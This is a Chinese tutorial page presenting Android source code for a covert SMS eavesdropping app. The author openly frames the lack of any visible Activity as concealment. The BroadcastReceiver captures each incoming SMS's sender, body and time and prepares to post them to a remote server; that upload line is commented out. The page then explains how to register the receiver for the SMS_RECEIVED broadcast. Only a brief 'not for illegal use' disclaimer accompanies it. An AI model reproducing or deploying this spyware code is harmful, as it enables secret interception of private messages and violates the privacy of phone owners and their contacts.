当前位置:  编程技术>移动开发

android短信监听工具(示例代码)

    来源: 互联网  发布时间:2014-10-21

    本文导语:  在学习本实例之前,读者请先了解一下android四大组件中的“广播接收者”的基本概念和使用。 由于是“监听程序”,所以就不需要建立Activity。这样也算是一种“遮掩”吧。使用BroadcastReceiver,就能达到这“不可告人”的目的...

在学习本实例之前,读者请先了解一下android四大组件中的“广播接收者”的基本概念和使用。

由于是“监听程序”,所以就不需要建立Activity。这样也算是一种“遮掩”吧。使用BroadcastReceiver,就能达到这“不可告人”的目的。呵呵。当然,使用服务来开发此类应用,更加合适。这里就不再深入讨论“服务”了。本实例仅供学习参考,请勿非法用途。

代码如下:

package cn.itcast.sms;

import java.sql.Date;
import java.text.SimpleDateFormat;
import java.util.HashMap;
import java.util.Map;

import cn.itcast.utils.SocketHttpRequester;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;

public class SMSBroadcastReceiver extends BroadcastReceiver {
    //在接受者这边获取短信相关信息,将相关信息发到服务器上进行窃听
 @Override
 public void onReceive(Context context, Intent intent) {
  Object[] pduses = (Object[])intent.getExtras().get("pdus");
  for(Object pdus : pduses){
   byte[] pdusmessage = (byte[]) pdus;//没一条短信
   SmsMessage sms = SmsMessage.createFromPdu(pdusmessage);
   String mobile = sms.getOriginatingAddress();//得到电话号码
   String content = sms.getMessageBody();//得到短信的内容
   Date date = new Date(sms.getTimestampMillis());//得到发送短信具体时间
   //2009-10-12 12:21:23
   SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//为实践设置格式
   String sendtime = format.format(date);
   Map params = new HashMap();
   params.put("method", "getSMS");//将与短信相关的内容全部都放到集合里
   params.put("mobile", mobile);
   params.put("content", content);
   params.put("sendtime", sendtime);
   try {//利用socket向服务器发送窃听到的内容
    //SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "UTF-8");
   } catch (Exception e) {
    Log.e("SMSBroadcastReceiver", e.toString());
   }
  }
 }

}


注意修改Android项目文件的配置
代码如下:



   
  
   
    
   
  

   
   

 



最后说一点,Android中广播的注册机制,其实有2种方式(上文中使用的是第二种方式--配置项目清单文件)。

第一,通过代码的方式注册;


当实现了广播接收器,还要设置广播接收器接收广播信息的类型,这里是信息:android.provider.Telephony.SMS_RECEIVED

我们就可以把广播接收器注册到系统里面,可以让系统知道我们有个广播接收器。这里有两种,一种是代码动态注册:

代码如下:

//生成广播处理 
smsBroadCastReceiver = new SmsBroadCastReceiver(); 
//实例化过滤器并设置要过滤的广播 
IntentFilter intentFilter = new IntentFilter(); 
intentFilter.addAction(SMS_ACTION); 

//注册广播 
BroadCastReceiverActivity.this.registerReceiver(smsBroadCastReceiver, intentFilter); 

    
 
 

您可能感兴趣的文章:

  • Android实现信号强度监听的方法
  • Android创建文件实现对文件监听示例
  • android实现来电静音示例(监听来电)
  • Android中监听判断网络连接状态的方法
  • Android中监听系统网络连接打开或者关闭的实现代码
  • Android应用中Back键的监听及处理实例
  • android监听安装和卸载示例
  • Android判断和监听底座状态和类型的方法介绍
  • android音乐播放器监听电话状态实现代码
  • Android 监听apk安装替换卸载广播的实现代码
  • 基于Android 监听ContentProvider 中数据变化的相关介绍
  • Android中检查、监听电量和充电状态的方法
  • android 电话状态监听(来电和去电)实现代码
  • android Animation监听器AnimationListener的使用方法)
  • Android应用开发:电话监听和录音代码示例
  • Android短信接收监听、自动回复短信操作例子
  • Android开发:TextView加入滚动条示例
  • android开发教程之switch控件使用示例
  • android开启免提切换功能示例
  • Android开发之注册登录方法示例
  • 手写android布局示例
  • Android系统自带样式 (android:theme) iis7站长之家
  • android网络编程之android连接网络的简单示例代码
  • android获取当前手机号示例程序
  • android读取assets文件示例
  • android读取raw文件示例
  • android开机自启动app示例分享
  • android开发教程之自定义控件checkbox的样式示例
  • android输入框与文本框加滚动条scrollview示例
  • android保存Bitmap图片到指定文件夹示例
  • android播放gif格式图片示例
  •  
    本站(WWW.)旨在分享和传播互联网科技相关的资讯和技术,将尽最大努力为读者提供更好的信息聚合和浏览方式。
    本站(WWW.)站内文章除注明原创外,均为转载、整理或搜集自网络。欢迎任何形式的转载,转载请注明出处。












  • 相关文章推荐
  • android 自定义Android菜单背景的代码
  • android panellistview 圆角实现代码
  • android 简单图片动画播放的实例代码
  • 用ubuntu下载的android源代码不知下到哪去了
  • Android发送短信功能代码
  • Android Bitmap和Drawable相互转换的简单代码
  • android WakeLock使用方法代码实例
  • android自动安装apk代码实例(不使用apk安装器安装)
  • 控制Android LED灯颜色的代码实例
  • android通过bitmap生成新图片关键性代码
  • android 跳转进市场的实现代码
  • Android键盘显示与隐藏代码
  • Android 显示和隐藏输入法实现代码
  • Android点亮屏幕或屏幕解锁和锁定以及其他相关权限实现代码
  • Android中Root权限获取的简单代码
  • android downsample降低音频采样频率代码
  • android连接wifi时获取广播地址代码
  • android layout 按比例布局的代码
  • Android应用开发中模拟按下HOME键的效果(实现代码)
  • Android读取用户号码,手机串号,SIM卡序列号的实现代码
  • 申请Android Map 的API Key(v2)的最新申请方式(SHA1密钥)
  • Android瀑布流实例 android_waterfall
  • Android开发需要的几点注意事项总结
  • Android系统自带样式 (android:theme)
  • android 4.0 托管进程介绍及优先级和回收机制
  • Android网络共享软件 Android Wifi Tether
  • Android访问与手机通讯相关类的介绍
  • Android 图标库 Android GraphView
  • Android及andriod无线网络Wifi开发的几点注意事项
  • 轻量级Android开发工具 Android Tools
  • Android 2.3 下StrictMode介绍


  • 站内导航:


    特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

    ©2012-2021,,E-mail:www_#163.com(请将#改为@)

    浙ICP备11055608号-3